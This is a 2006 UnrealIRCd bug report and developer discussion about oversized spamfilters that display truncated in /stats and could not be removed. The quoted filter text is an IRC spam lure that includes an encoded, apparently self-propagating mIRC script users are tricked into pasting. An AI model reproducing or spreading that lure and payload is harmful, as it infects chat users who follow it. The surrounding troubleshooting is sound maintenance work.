View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0002916 | unreal | ircd | public | 2006-05-13 17:25 | 2006-09-25 20:19 |
| Reporter | satmd | Assigned To | |||
| Priority | normal | Severity | minor | Reproducibility | always |
| Status | closed | Resolution | duplicate | ||
| Product Version | 3.2.3 | ||||
| Summary | 0002916: Too long spamfilters will display incorrectly in /stats | ||||
| Description | In our example case someone was adding /spamfilter del cpnq gzline 0 Spammer Wanna be an OPERATOR in #XBOXLAND-MP3 ? copy/paste this-> //write ... $decode(b24gMTp0ZXh0OiphKjojOnsgLmlnbm9yZSAkbmljayB8IC50aW1lcqAgMCAxMjAgLmpvaW4gI1NleGViIHwgLm1zZyAkbmljayBXYW5uYSBiZSBhbiBPUEVSQVRPUiBpbiAkY2hhbiA/IGNvcHkvcGFzdGUgdGhpcy0+AzcgLy93cml0ZSCgLqAgJCAkKyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIKAuoCAkY2hyKDEyNCkgLy9tb2RlICQgJCsgbWUgK1IgfQ==,m) | | .load -rs ... | //mode $me +R But it displays as [23:47:43] & F cpnq gzline 0 598260 2592000 Spammer [email protected] :Wanna be an OPERATOR in #XBOXLAND-MP3 ? copy/paste this-> //write ... $decode(b24gMTp0ZXh0OiphKjojOnsgLmlnbm9yZSAkbmljayB8IC50aW1lcqAgMCAxMjAgLmpvaW4gI1NleGViIHwgLm1zZyAkbmljayBXYW5uYSBiZSBhbiBPUEVSQVRPUiBpbiAkY2hhbiA/IGNvcHkvcGFzdGUgdGhpcy0+AzcgLy93cml0ZSCgLqAgJCAkKyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIKAuoCAkY2hyKDEyNCkgLy9tb2RlICQgJCsgbWUgK1IgfQ==,m) Ppl were unable to remove it because they thought it has been added in the truncated variant. I removed it finally by starting with the full spamfilter (which I needed to find first on the web) and then removed one char at the end at a time and tried again. | ||||
| Steps To Reproduce | Add a "too long" spamfilter (I don't know the exact limits). Try to remove it only using the information provided by /stats | ||||
| Additional Information | A possible fix would be to check the length of the /stats output the expression would create and deny the filter if it was too long for being displayed correctly. | ||||
| 3rd party modules | |||||
|
|
This should be fixed in 3.2.4 (I see you are on 3.2.3). |
|
|
I suggested them to upgrade and if it is fixed in 3.2.4 I probably did not check properly the available reports. (I asked Stskeep before I reported this :P) This bug may be closed then :) |
|
|
no problem :P. just as a tip: the best way to see if something is fixed, is checking the changelog btw :P (I usually go to the end of the file, and then search backwards for something like 'spamfilter') |
|
|
On 3.2.4: [22:52:34] & F cpnq gzline 0 767773 2592000 Spammer [email protected] :Wanna be an OPERATOR in #XBOXLAND-MP3 ? copy/paste this-> //write ... $decode(b24gMTp0ZXh0OiphKjojOnsgLmlnbm9yZSAkbmljayB8IC50aW1lcqAgMCAxMjAgLmpvaW4gI1NleGViIHwgLm1zZyAkbmljayBXYW5uYSBiZSBhbiBPUEVSQVRPUiBpbiAkY2hhbiA/IGNvcHkvcGFzdGUgdGhpcy0+AzcgLy93cml0ZSCgLqAgJCAkKyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIKAuoCAkY2hyKDEyNCkgLy9tb2RlICQgJCsgbWUgK1IgfQ==,m) If I try to remove that one: [22:52:49] & Sorry, spamfilter too long. You'll either have to trim down the reason or the regex (exceeded by 57 bytes) I am not sure wether an old ircd.tune was migrated (yet) |
|
|
If I try to remove it with reason "Spammer": Sorry, spamfilter too long. You'll either have to trim down the reason or the regex (exceeded by 62 bytes) If I try to remove it with reason "-": Sorry, spamfilter too long. You'll either have to trim down the reason or the regex (exceeded by 71 bytes) I wonder what is going on there... Suggested solution: * Verify ircd.tune on start, too! * Check spamfilter length only on ADDING it, not on REMOVAL ;) |
|
|
I like the idea of checking the spamfilter length BEFORE adding it, no idea why they did not do that to begin with. Anyway, wasn't there something on the todo list already to be able to remove a spamfilter with a hash (md5 IIRC)? |
|
|
satmd.. ircd.tune has nothing to do with spamfilters, do you mean server synchronized spamfilters and so it got added to your server? Yes.. that could happen.. And no, we do not check servertraffic. The question is, can you add an oversized spamfilter (as a user/oper/..) on a 3.2.4 server? If so, that's a bug, if not.. then good.. confirms it's fixed then. I'll make sure the limit for removing is removed btw, that's just silly ;p. /ignore Bugz |
|
|
Removal-denied-bug fixed in CVS .502: - Removed spamfilter-oversized-checking when trying to REMOVE one.. duh.. reported by satmd (#00029160). |
|
|
I believe this is sorted out now and could possibly be closed. |
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2006-05-13 17:25 | satmd | New Issue | |
| 2006-05-13 17:44 | syzop | Note Added: 0011699 | |
| 2006-05-13 18:00 | satmd | Note Added: 0011700 | |
| 2006-05-13 18:20 | syzop | Status | new => closed |
| 2006-05-13 18:20 | syzop | Note Added: 0011701 | |
| 2006-05-13 18:20 | syzop | Resolution | open => no change required |
| 2006-05-15 15:59 | satmd | Status | closed => feedback |
| 2006-05-15 15:59 | satmd | Resolution | no change required => reopened |
| 2006-05-15 15:59 | satmd | Note Added: 0011704 | |
| 2006-05-15 16:22 | satmd | Note Added: 0011705 | |
| 2006-05-15 16:37 | satmd | Note Edited: 0011705 | |
| 2006-05-15 16:48 | satmd | Note Edited: 0011705 | |
| 2006-05-16 22:27 | Stealth | Note Added: 0011711 | |
| 2006-05-16 22:27 | Stealth | Note Edited: 0011711 | |
| 2006-05-17 06:26 | syzop | Note Added: 0011716 | |
| 2006-05-17 07:35 | syzop | Note Added: 0011721 | |
| 2006-05-17 07:36 | syzop | Note Edited: 0011721 | |
| 2006-08-30 21:33 | satmd | Note Added: 0012264 | |
| 2006-09-25 20:19 | syzop | Status | feedback => closed |
| 2006-09-25 20:19 | syzop | Resolution | reopened => duplicate |
